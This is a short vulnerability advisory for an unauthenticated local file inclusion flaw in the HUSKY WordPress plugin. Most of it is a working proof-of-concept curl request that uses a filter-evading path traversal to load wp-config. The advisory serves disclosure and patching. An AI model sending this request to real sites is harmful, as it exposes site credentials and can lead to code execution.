HUSKY < 1.3.6.6 – Unauthenticated Local File Inclusion | CVE 2025-1661

Description

The plugin is vulnerable to Local File Inclusion via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Proof of Concept

curl 'https://vulnerable-site.tld/wp-admin/admin-ajax.php' \
  -X POST \
  -H 'Content-Type: multipart/form-data; boundary=----geckoformboundaryc5d7d7c3860eea4d7140282574cf250b' \
  --data-binary \
  $'------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="action"\r\n\r\nwoof_text_search\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="value"\r\n\r\nbla\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="link"\r\n\r\nhttps://vulnerable-site.tld/shop/swoof1/name-bla/\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="cur_tax"\r\n\r\nfalse\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="page"\r\n\r\n0\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="woof_text_search_nonce"\r\n\r\n2b4983a0e4\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="placeholder"\r\n\r\n\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="behavior"\r\n\r\ntitle\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="search_by_full_word"\r\n\r\n0\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="autocomplete"\r\n\r\n1\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="how_to_open_links"\r\n\r\n1\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="taxonomy_compatibility"\r\n\r\n0\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="sku_compatibility"\r\n\r\n0\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="custom_fields"\r\n\r\n\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="search_desc_variant"\r\n\r\n0\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="view_text_length"\r\n\r\n10\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="min_symbols"\r\n\r\n3\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="max_posts"\r\n\r\n10\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="image"\r\n\r\n\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="notes_for_customer"\r\n\r\n\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="template"\r\n\r\n.<z>./.<z>./wp-config\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="max_open_height"\r\n\r\n300\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b\r\nContent-Disposition: form-data; name="s"\r\n\r\n\r\n------geckoformboundaryc5d7d7c3860eea4d7140282574cf250b--\r\n'